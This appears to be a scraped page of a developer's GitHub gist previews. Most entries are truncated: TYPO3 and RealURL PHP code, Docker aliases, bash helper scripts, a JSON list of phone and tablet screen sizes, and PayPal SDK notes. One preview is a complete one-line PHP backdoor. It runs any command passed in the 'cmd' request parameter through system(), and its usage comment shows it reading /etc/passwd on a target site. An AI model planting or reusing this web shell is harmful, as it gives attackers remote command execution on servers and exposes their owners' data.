This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| namespace AppZap\Tripshop\Persistence; | |
| use TYPO3\CMS\Extbase\Persistence\Generic\Qom\Statement; | |
| class QueryResult extends \TYPO3\CMS\Extbase\Persistence\Generic\QueryResult | |
| { | |
| /** | |
| * Overwrites the original implementation of Extbase | |
| * |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Add to /etc/hosts | |
| # 127.0.0.1 localhost docker.local db mail | |
| alias docker-host="echo docker.local" | |
| alias drun="docker run -it --rm" | |
| # Docker Compose | |
| alias dc="docker-compose" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| set -e | |
| show_help() { | |
| cat << EOF | |
| Usage: ${0##*/} [-u USER] [-p PASS] [-P PORT] [-H HOST] [DATABASE] | |
| ${0##*/} -h | |
| Open a standard connection in Sequel PRO. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [{"key":"320 x 480","name":"iPhone 3/4/S","width":320,"height":480}, | |
| {"key":"320 x 568","name":"iPhone 5/C","width":320,"height":568}, | |
| {"key":"375 x 667","name":"iPhone 6/S","width":375,"height":667}, | |
| {"key":"414 x 736","name":"iPhone 6/S Plus","width":414,"height":736}, | |
| {"key":"768 x 1024","name":"iPad1/2/3/4/Air","width":768,"height":1024}, | |
| {"key":"1024 x 1366","name":"iPad Pro","width":1024,"height":1366}, | |
| {"key":"320 x 533","name":"Samsung S/S2/S3mini","width":320,"height":533}, | |
| {"key":"360 x 640","name":"Samsung S3/S4/S5/Note2/3/4","width":360,"height":640}, | |
| {"key":"400 x 640","name":"Samsung Note","width":400,"height":640}, | |
| {"key":"800 x 1280","name":"Samsung Galaxy Tab 8.9/10","width":800,"height":1280}, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/sh | |
| # exit on any errors: | |
| set -e | |
| if [ $# -lt 1 ] | |
| then | |
| echo "Usage: $0 @pantheon-alias" | |
| exit 1 | |
| fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| // Not needed in current RealURL versions: $TYPO3_CONF_VARS['FE']['addRootLineFields'] .= ',tx_realurl_pathsegment'; | |
| $GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['realurl'] = array( | |
| '_DEFAULT' => array( | |
| 'init' => array( | |
| 'enableCHashCache' => true, | |
| 'appendMissingSlash' => 'ifNotFile,redirect[301]', | |
| 'enableUrlDecodeCache' => true, | |
| 'enableUrlEncodeCache' => true, | |
| 'adminJumpToBackend' => true, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| set -e | |
| # insert a line to a file if the line does not already exist | |
| # - first parameter is the file to insert the line | |
| # - second parameter is the line to insert. It'll only be inserted if not already exists | |
| # - third parameter is optional. This will override the search behavior. | |
| # Instead of searching for the line of parameter 2 this term is used. | |
| function insertLineIfNotExists { | |
| FILE=$1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!-- Simple PHP Backdoor By DK (One-Liner Version) --> | |
| <!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd --> | |
| <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| This example uses the Rest API PHP SDK of Paypal. To get it, just use composer. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| This example uses the Merchant PHP SDK of Paypal. To get it, just use composer. |